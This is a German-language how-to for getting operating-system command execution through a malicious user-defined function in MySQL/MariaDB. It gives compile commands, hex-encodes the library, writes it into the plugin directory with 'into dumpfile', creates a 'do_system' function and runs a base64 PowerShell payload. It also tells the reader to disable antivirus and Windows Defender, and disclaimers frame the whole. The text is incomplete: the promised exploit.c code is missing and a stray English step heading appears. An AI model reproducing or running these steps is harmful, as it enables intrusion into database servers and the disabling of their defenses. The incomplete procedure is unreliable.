
Datenbank-authentifizierte Codeausführung
Dieser Leitfaden enthält Schritt-für-Schritt-Anweisungen zur Reproduktion eines Angriffs mithilfe einer benutzerdefinierten Funktion (User-Defined Function, UDF) auf ein Datenbanksystem. Bitte beachten Sie, dass dieser Exploit auf einigen Systemen funktioniert, auf 64-Bit-Architekturen oder bestimmten Builds jedoch möglicherweise nicht korrekt funktioniert.
Warnung: Dies dient ausschließlich Bildungszwecken. Die unbefugte Verwendung dieser Techniken ist illegal und unethisch.
Erstellen Sie zunächst eine Datei mit dem Namen exploit.c und fügen Sie den folgenden Code hinzu:
### 2. Compile the UDF Code
Kompilieren Sie den Exploit-Code mit dem Compiler x86_64-w64-mingw32-gcc:
x86_64-w64-mingw32-gcc -g -c exploit.c
Erzeugen Sie aus der kompilierten Objektdatei eine Shared-Object-Datei (exploit.so):
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
Verwenden Sie xxd, um die .so-Datei in ein hexadezimales Format zu konvertieren:
xxd -p exploit.so | tr -d '\n' > hex_value.txt
Kopieren Sie den Hexadezimalwert aus hex_value.txt und führen Sie den folgenden Befehl in Ihrer Datenbank aus:
DB> set @shell = 0x<hex_value>;
Ermitteln Sie das Plugin-Verzeichnis, indem Sie Folgendes ausführen:
DB> select @@plugin_dir;
Erstellen Sie anschließend die Exploit-Shared-Object-Datei im Plugin-Verzeichnis:
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
Hinweis: Passen Sie den Pfad entsprechend der Konfiguration Ihres Systems oder dem jeweiligen Plugin-Verzeichnis an.
Erstellen Sie mithilfe des Exploits eine neue Funktion in der Datenbank:
DB> create function do_system returns integer soname 'exploit.so';
Deaktivieren Sie jegliche Antivirensoftware oder Windows Defender, die den Exploit blockieren könnte. Führen Sie dann einen Befehl mithilfe der neu erstellten Funktion aus:
DB> select do_system('powershell base64 here');
Ersetzen Sie 'powershell base64 here' durch die Base64-codierte Nutzlast des Befehls, den Sie ausführen möchten.
Haftungsausschluss: Dieses Dokument dient ausschließlich Bildungszwecken und der Sicherheitsforschung. Der Missbrauch dieser Informationen kann zu strafrechtlicher Verfolgung und schwerwiegenden rechtlichen Konsequenzen führen. Holen Sie stets die Genehmigung der zuständigen Behörden ein, bevor Sie Schwachstellen in einem Netzwerk oder System testen.